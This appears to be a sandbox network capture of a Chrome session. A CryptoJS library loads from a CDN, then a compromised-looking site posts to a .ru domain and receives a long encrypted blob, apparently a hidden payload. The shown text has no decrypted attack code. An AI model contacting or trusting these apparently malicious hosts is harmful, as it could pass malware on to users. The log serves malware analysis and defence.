2024-10-30 15:25:39 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:39 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 512429 Expires: Mon, 20 Oct 2025 15:25:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACs3e6ccfdT%2B3V0odSkONap21TGd3AolaycEKEG%2Fxmn9yPfGGL1YK6kSbmOglTl7%2F9aw%2BJ7fT7spUinI3fdvLuF5uLIIOQkPmjXfevCjOsLSjUTmu6W5owNmthFE%2BUzFJTYGzpm1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6b4f3a752cc8-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:39 UTC	407	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: &(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typ
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 Data Ascii: o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:fu
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 Data Ascii: se(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doPr
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e Data Ascii: 55===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 Data Ascii: 2+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 Data Ascii: >6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 Data Ascii: S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 Data Ascii: clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(
2024-10-30 15:25:39 UTC	1369	IN	Data Raw: 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e Data Ascii: ),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49739	172.67.148.193	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:39 UTC	608	OUT	POST // HTTP/1.1 Host: baytul-hijabo.ru Connection: keep-alive Content-Length: 21 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://zastromts.za.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:39 UTC	21	OUT	Data Raw: 7b 22 76 61 63 75 6f 6c 65 22 3a 22 77 61 64 64 69 6e 67 22 7d Data Ascii: {"vacuole":"wadding"}
2024-10-30 15:25:42 UTC	845	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rW4HmYRJ0s4%2FusWSguylGtlqbdr4JU1V%2Ff7Oi%2Fw5Y3rB2935F82GuaM0GExoqdJdZnT0YMMufLwr2yb1WXavkcRDo6KEuy62CHw4sO2sK8opSP1CyfcBN3ScGOdjhmIl6q%2Bd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6b54b8d94870-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1334&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1229&delivery_rate=2167664&cwnd=232&unsent_bytes=0&cid=16621e7cd4839e4c&ts=3063&x=0"
2024-10-30 15:25:42 UTC	524	IN	Data Raw: 32 37 35 34 0d 0a 7b 22 61 22 3a 22 32 4c 78 38 68 31 42 48 6b 6f 72 30 35 4d 62 33 36 6b 39 5c 2f 4b 34 42 64 53 4b 66 59 58 39 65 4d 38 4a 43 5c 2f 78 61 6d 50 74 73 5a 54 49 2b 78 47 4d 6c 64 4e 56 6c 5c 2f 62 32 6b 4f 66 51 31 79 5a 4f 4a 38 5c 2f 57 4b 6c 61 58 6a 38 6b 52 53 49 69 6d 59 5c 2f 52 43 46 76 32 67 77 6b 31 76 7a 62 74 45 5a 4b 42 4d 72 43 30 76 37 72 77 6b 4a 5a 45 78 72 51 79 54 6a 77 36 34 57 73 54 4c 79 6d 61 45 42 45 38 58 30 56 4e 72 30 4b 63 51 74 31 62 76 77 32 75 59 4b 64 38 4f 41 36 72 70 62 68 54 77 4f 76 54 4d 41 56 42 53 76 79 4a 6e 42 67 63 79 69 55 6f 5a 66 54 66 57 54 39 45 38 78 4a 74 61 68 35 58 2b 6e 35 69 61 56 58 43 4f 74 35 74 72 54 33 4b 49 31 41 78 76 7a 4a 75 47 63 57 58 2b 7a 75 57 4e 77 4c 31 35 39 6b 4b 58 6c Data Ascii: 2754{"a":"2Lx8h1BHkor05Mb36k9\/K4BdSKfYX9eM8JC\/xamPtsZTI+xGMldNVl\/b2kOfQ1yZOJ8\/WKlaXj8kRSIimY\/RCFv2gwk1vzbtEZKBMrC0v7rwkJZExrQyTjw64WsTLymaEBE8X0VNr0KcQt1bvw2uYKd8OA6rpbhTwOvTMAVBSvyJnBgcyiUoZfTfWT9E8xJtah5X+n5iaVXCOt5trT3KI1AxvzJuGcWX+zuWNwL159kKXl
2024-10-30 15:25:42 UTC	1369	IN	Data Raw: 63 55 76 52 71 51 6a 46 47 79 44 57 73 5c 2f 4f 33 4b 79 48 53 4e 44 43 73 77 63 59 49 36 57 79 31 5c 2f 37 58 33 66 41 64 38 6f 6e 56 50 41 78 39 78 35 6c 72 42 5c 2f 57 4e 58 67 73 41 36 51 33 70 43 4c 2b 4c 58 77 35 70 42 61 42 50 6c 68 4c 35 6b 4f 43 61 79 4c 37 32 33 43 45 42 4b 54 44 79 54 50 52 70 67 66 4e 36 58 6e 42 63 70 50 6e 62 6f 67 37 4c 6d 4f 52 76 4a 42 6d 31 51 35 4b 64 36 4d 71 62 48 74 77 53 30 62 46 32 6b 56 34 31 4a 42 52 65 5c 2f 42 62 5c 2f 55 33 73 4c 66 74 41 76 32 76 58 35 4f 4e 42 53 79 76 76 37 68 66 46 61 41 6a 58 41 67 7a 31 58 73 74 70 69 55 31 33 78 4c 67 57 36 78 65 37 64 6e 68 78 49 53 65 6d 2b 72 33 50 69 75 48 6c 4a 62 50 35 70 4a 62 73 32 4e 68 66 6a 54 6d 58 34 62 42 4b 4e 58 4c 53 34 41 35 36 6f 54 72 74 48 34 76 61 Data Ascii: cUvRqQjFGyDWs\/O3KyHSNDCswcYI6Wy1\/7X3fAd8onVPAx9x5lrB\/WNXgsA6Q3pCL+LXw5pBaBPlhL5kOCayL723CEBKTDyTPRpgfN6XnBcpPnbog7LmORvJBm1Q5Kd6MqbHtwS0bF2kV41JBRe\/Bb\/U3sLftAv2vX5ONBSyvv7hfFaAjXAgz1XstpiU13xLgW6xe7dnhxISem+r3PiuHlJbP5pJbs2NhfjTmX4bBKNXLS4A56oTrtH4va
2024-10-30 15:25:42 UTC	1369	IN	Data Raw: 6d 71 61 5c 2f 6a 6e 62 50 44 50 69 5a 7a 66 35 69 6c 57 72 6c 65 5c 2f 75 30 6b 63 70 59 48 5c 2f 59 52 46 47 49 63 57 73 58 70 7a 56 33 30 4a 59 41 7a 5c 2f 2b 78 4d 4d 5c 2f 5c 2f 37 53 77 69 6e 49 53 44 4c 31 6c 41 73 66 51 75 65 58 4a 7a 6b 78 71 4f 73 56 30 61 6e 53 74 48 41 72 73 35 6b 42 50 48 65 39 31 79 4b 76 44 67 30 73 30 68 46 59 38 38 78 65 68 77 41 46 76 76 37 36 38 50 30 51 36 5a 34 50 4f 75 4e 37 72 70 4e 75 49 65 63 53 6d 68 45 37 6d 68 43 2b 30 75 4e 68 4d 69 30 47 35 4f 47 79 4c 50 44 78 6b 6b 34 43 30 56 71 47 4c 6c 56 45 71 4c 58 6a 75 4f 33 59 6b 33 41 79 47 70 34 42 52 46 67 45 64 77 6c 63 63 66 32 6b 44 5c 2f 67 72 79 77 57 79 44 47 59 5a 5c 2f 5c 2f 58 75 76 48 47 4e 33 36 39 36 77 36 4f 48 6a 65 71 55 4e 78 31 4e 67 72 76 45 43 Data Ascii: mqa\/jnbPDPiZzf5ilWrle\/u0kcpYH\/YRFGIcWsXpzV30JYAz\/+xMM\/\/7SwinISDL1lAsfQueXJzkxqOsV0anStHArs5kBPHe91yKvDg0s0hFY88xehwAFvv768P0Q6Z4POuN7rpNuIecSmhE7mhC+0uNhMi0G5OGyLPDxkk4C0VqGLlVEqLXjuO3Yk3AyGp4BRFgEdwlccf2kD\/grywWyDGYZ\/\/XuvHGN3696w6OHjeqUNx1NgrvEC
2024-10-30 15:25:42 UTC	1369	IN	Data Raw: 51 66 78 66 59 32 32 4d 76 52 4a 58 4a 47 31 30 65 71 55 43 70 47 30 4a 4e 4a 6d 63 59 37 54 58 2b 45 62 59 66 67 4f 5c 2f 74 6e 68 4b 70 31 4a 74 6a 59 76 75 52 6b 35 45 36 37 79 6f 6d 5a 46 65 43 47 4b 41 35 4c 2b 4b 2b 67 39 79 5a 45 77 6e 36 69 51 65 78 4b 2b 6d 68 6a 34 6f 37 5a 4b 57 68 62 4d 71 51 46 5c 2f 4b 6a 4e 47 47 79 47 7a 77 36 39 4e 64 6b 4d 4f 4b 5a 58 50 2b 46 69 42 44 78 68 45 51 63 76 36 62 58 46 63 71 67 73 5a 75 34 46 73 41 75 50 6d 30 2b 5c 2f 67 44 43 65 6d 51 33 75 56 48 47 55 72 46 6e 4d 34 68 46 79 35 52 77 45 48 5a 5c 2f 71 57 6d 2b 52 50 61 39 68 72 5a 59 35 42 57 56 6f 45 79 52 70 6b 38 6c 72 5a 53 71 59 43 47 72 59 69 6e 54 65 32 37 6e 56 32 4d 77 6c 4b 46 7a 6b 62 49 66 6f 67 57 63 61 67 34 43 62 45 59 77 62 57 6e 4e 52 5c Data Ascii: QfxfY22MvRJXJG10eqUCpG0JNJmcY7TX+EbYfgO\/tnhKp1JtjYvuRk5E67yomZFeCGKA5L+K+g9yZEwn6iQexK+mhj4o7ZKWhbMqQF\/KjNGGyGzw69NdkMOKZXP+FiBDxhEQcv6bXFcqgsZu4FsAuPm0+\/gDCemQ3uVHGUrFnM4hFy5RwEHZ\/qWm+RPa9hrZY5BWVoEyRpk8lrZSqYCGrYinTe27nV2MwlKFzkbIfogWcag4CbEYwbWnNR\
2024-10-30 15:25:42 UTC	1369	IN	Data Raw: 34 2b 6a 47 6f 37 48 32 68 59 68 6e 68 4f 43 4d 4f 50 69 32 37 4c 65 34 50 2b 72 4c 72 52 5a 36 53 34 31 39 4d 72 47 5c 2f 49 6d 4b 5c 2f 35 6c 5c 2f 6c 6d 69 30 4f 50 78 58 54 6a 65 46 47 78 72 77 64 6c 37 78 79 4e 53 56 2b 35 6f 66 6d 70 31 30 46 76 4e 7a 34 4b 71 50 65 70 77 52 37 58 71 76 6c 6a 73 69 43 35 33 6f 54 62 78 49 57 75 45 6f 34 49 35 30 41 61 64 44 78 4c 70 56 75 7a 51 36 79 52 73 4e 34 53 61 67 41 49 72 6b 4f 51 44 46 75 47 5c 2f 67 45 38 73 71 36 51 58 38 55 63 33 66 59 72 57 63 75 4a 73 75 63 65 67 47 57 56 59 59 77 5a 76 51 72 4e 72 7a 76 4f 57 4a 71 72 65 4a 65 4e 52 70 79 49 41 62 45 35 4c 62 6b 68 35 48 67 77 4a 39 4f 55 74 74 31 74 53 68 36 34 69 54 6a 71 51 6c 77 51 34 66 56 54 79 43 57 4e 57 35 58 35 51 58 33 49 79 79 6b 32 53 39 Data Ascii: 4+jGo7H2hYhnhOCMOPi27Le4P+rLrRZ6S419MrG\/ImK\/5l\/lmi0OPxXTjeFGxrwdl7xyNSV+5ofmp10FvNz4KqPepwR7XqvljsiC53oTbxIWuEo4I50AadDxLpVuzQ6yRsN4SagAIrkOQDFuG\/gE8sq6QX8Uc3fYrWcuJsucegGWVYYwZvQrNrzvOWJqreJeNRpyIAbE5Lbkh5HgwJ9OUtt1tSh64iTjqQlwQ4fVTyCWNW5X5QX3Iyyk2S9
2024-10-30 15:25:42 UTC	1369	IN	Data Raw: 42 70 64 6a 57 67 63 5c 2f 69 4c 38 5c 2f 4b 46 65 36 6a 64 45 36 74 51 31 5a 56 45 31 71 63 35 55 7a 74 48 74 43 30 4c 32 37 68 6e 33 78 76 31 34 5a 6c 72 57 39 46 4a 47 61 4d 50 77 4b 76 4a 6a 45 49 66 62 44 74 4a 32 6f 33 30 6f 64 78 49 74 76 47 64 30 32 38 58 41 69 58 74 73 43 44 54 73 4b 4b 6b 69 56 41 68 61 78 41 68 4e 41 61 69 50 43 44 6b 46 78 34 65 4b 58 67 34 33 5a 4b 45 6b 62 46 51 56 66 2b 53 56 67 6e 5c 2f 36 44 7a 41 61 33 79 32 54 69 66 45 31 71 56 4d 4e 45 6b 42 63 70 50 53 36 56 42 53 4b 37 5a 75 6c 77 37 59 7a 39 65 64 79 54 4c 51 34 69 75 73 72 42 6c 30 55 4b 30 76 47 41 66 41 56 61 58 4f 47 77 72 37 69 6f 6d 35 47 57 49 74 4a 76 66 51 63 53 44 66 49 50 62 72 73 55 47 75 77 50 69 39 42 4d 78 31 34 43 46 38 45 64 46 64 70 72 4a 37 52 62 Data Ascii: 